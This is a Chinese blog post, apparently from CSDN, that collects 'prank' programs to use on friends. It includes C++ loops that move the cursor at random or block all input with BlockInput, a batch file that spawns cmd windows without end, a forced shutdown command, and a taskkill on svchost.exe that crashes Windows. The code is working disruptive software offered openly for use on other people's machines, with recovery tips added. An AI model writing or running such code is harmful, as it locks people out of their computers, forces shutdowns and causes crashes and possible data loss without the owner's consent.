盘点那些坑人的代码

由于作者本人刚刚被人坑了,于是决定收集一些坑人代码,随时欢迎大家用这些代码帮助你最好的朋友(偷笑)

1. 鼠标飞舞(c++)

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
	srand(rand()*time(0));
	int x=GetSystemMetrics(SM_CXSCREEN),y=GetSystemMetrics(SM_CYSCREEN); // 获取屏幕大小
	while(1)SetCursorPos(rand()%x,rand()%y); // 将鼠标移到随机点
	return 0;
}

效果:鼠标会到处乱飞

解决方法:ctrl+c或alt+F4关闭进程

2.锁定(c++)

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
	while(1)BlockInput(true); // 拒收来自鼠标和键盘的信号
	return 0;
}

非常好用(亲自逝过)

效果:无法使用鼠标和键盘

解决方法:重启

3. 鼠标飞舞plus版(c++)

只要将前两种结合起来就行了。

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
	srand(rand()*time(0));
	int x=GetSystemMetrics(SM_CXSCREEN),y=GetSystemMetrics(SM_CYSCREEN); // 获取屏幕大小
	while(1){
		BlockInput(true); // 拒收来自鼠标和键盘的信号
		SetCursorPos(rand()%x,rand()%y); // 将鼠标移到随机点
	}
	return 0;
}

效果:鼠标到处乱飞且无法使用键盘和鼠标

解决方法:重启

4.炸弹弹窗(.bat)

这也是网络上广为人知的程序。

:start
start cmd
goto start

效果:不断弹出cmd

解决方法:删除.bat文件

5. 关机(c++)

比较低级的陷阱

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
	system("shutdown -s");
	return 0;
}

效果:关机

解决方法:如果没有延迟关机,那么可以使用 system("shutdown -a") 终止关机

拓展:调用 system("shutdown -?") 查看更多用法

6. 蓝屏(.bat)

taskkill -f -im svchost.exe 

效果:蓝屏

解决方法:重启

暂时只有这些,有空还会更。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值